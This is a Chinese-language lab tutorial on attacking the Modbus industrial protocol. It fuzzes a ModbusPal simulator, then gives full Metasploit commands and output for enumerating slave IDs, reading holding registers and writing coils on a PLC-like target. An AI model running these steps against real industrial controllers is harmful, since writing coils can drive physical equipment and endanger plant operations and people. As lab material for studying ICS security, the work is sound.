Modbus协议是一种已广泛应用于当今工业控制领域的通用通讯协议,Modbus 是MODICON公司(现为施耐德电气公司的一个品牌)最先倡导的一种软的通讯规约。
通过此协议,控制器相互之间、或控制器经由网络(如以太网)可以和其它设备之间进行通信。Modbus协议使用的是主从通讯技术,即由主设备主动查询和操作从设备。
一般将主控设备方所使用的协议称为Modbus Master,从设备方使用的协议称为Modbus Slave。在我们IT术语里,其实就是server响应请求与client发送请求,正如大家所预料的,Modbus也是一个请求/应答协议。
Modbus协议是易受中间人攻击的,在获取到明文的session之后是可以做到读写线圈操作的,而很多PLC设备其实就是通过线圈读写去执行动作,也就是说其实掌握了读写功能我们就控制了PLC设备
0x01 开启Modbus从站主机和从站服务
使用ModbusPal.jar 工具启动模拟服务:
手动添加两个从站(ID为2,4)并对其添加保持寄存器和线圈,添加结果如下图:
从站ID为2配置:
下面添加保持寄存器的数值,随意填写即可:我这里填写的是11、12、13、14、15
从站ID为4添加10个线圈,并赋值
启动服务即可RUN
0x02 Swift fuzzer模糊测试工具导致导致服务异常重启
配置被测试IP和端口:
添加用例:
点击运行发包即可:
可以看到 模拟器颜色发生变化 灰色到黄色的变化,Console日志中,设备进程关闭启动状态发生变化。
0x03 使用metasploit扫描Modbus从站中的ID
上面讲解到,modbus协议是易受中间人攻击的,在获取到明文的session之后是可以做到读写线圈操作的,而很多PLC设备其实就是通过线圈读写去执行动作,也就是说其实掌握了读写功能我们就控制了PLC设备
启动msf,查询一下Modbus相关利用脚本
modbus仿真软件的默认端口也是502,所以我们只需要设置rhosts地址以及UNIT_ID_TO ,这个参数是指读取寄存器的个数,上面也提到,最多不能超过256个,我们这里设置成10就可以,读取0-10个
可以看到,结果显示识别到了2和4号寄存器(Modbus Slave ID 2和4),我们可以继续读取该寄存器的内容
msf6 > use auxiliary/scanner/scada/modbus_findunitid
msf6 auxiliary(scanner/scada/modbus_findunitid) > set unit_id_to 10
unit_id_to => 10
msf6 auxiliary(scanner/scada/modbus_findunitid) > set rhosts 10.0.3.233
rhosts => 10.0.3.233
msf6 auxiliary(scanner/scada/modbus_findunitid) > run
[*] Running module against 10.0.3.233
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 1 (probably no t in use)
[+] 10.0.3.233:502 - Received: correct MODBUS/TCP from stationID 2
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 3 (probably not in use)
[+] 10.0.3.233:502 - Received: correct MODBUS/TCP from stationID 4
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 5 (probably not in use)
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 6 (probably not in use)
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 7 (probably not in use)
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 8 (probably not in use)
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 9 (probably not in use)
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 10 (probably not in use)
[*] Auxiliary module execution completed
0x04 访问从站2的寄存器数据
从Slave2 中读取读取5个寄存器的数值
dbusclientiary(scanner/scada/modbus_findunitid) > use auxiliary/scanner/scada/mo
msf6 auxiliary(scanner/scada/modbusclient) > set data_address 0
#设置读取或修改点位的起始位,实际是从1位开始的
data_address => 0
msf6 auxiliary(scanner/scada/modbusclient) > set number 5
#设置读取或修改寄存器的长度
number => 5
msf6 auxiliary(scanner/scada/modbusclient) > set unit_number 2
#设置从站的id,这里为2
msf6 auxiliary(scanner/scada/modbusclient) > set rhosts 10.0.3.233
#设置目标主机IP
rhosts => 10.0.3.233
msf6 auxiliary(scanner/scada/modbusclient) > run
#开始攻击
[*] Running module against 10.0.3.233
[*] 10.0.3.233:502 - Sending READ HOLDING REGISTERS...
[+] 10.0.3.233:502 - 5 register values from address 0 :
[+] 10.0.3.233:502 - [11, 12, 13, 14, 15]
[*] Auxiliary module execution completed
与前期设置一致数据:
0x05 修改从站4线圈值
修改从站4线圈值从站4我只添加了线圈的值,并未添加寄存器,下面就进行修改从站4的线圈值:
sf6 auxiliary(scanner/scada/modbusclient) >
msf6 auxiliary(scanner/scada/modbusclient) > set action WRITE_COILS
action => WRITE_COILS
#切换功能为写入线圈
msf6 auxiliary(scanner/scada/modbusclient) > set number 10
number => 10
msf6 auxiliary(scanner/scada/modbusclient) > set unit_number 4
unit_number => 4
msf6 auxiliary(scanner/scada/modbusclient) > set data_address 0
data_address => 0
msf6 auxiliary(scanner/scada/modbusclient) > set data_coils 1111111111
data_coils => 1111111111
msf6 auxiliary(scanner/scada/modbusclient) > run
[*] Running module against 10.0.3.233
[*] 10.0.3.233:502 - Sending WRITE COILS...
[+] 10.0.3.233:502 - Values 1111111111 successfully written from coil address 0
[*] Auxiliary module execution completed
此时查看Modbus-server,可发现数值修改成功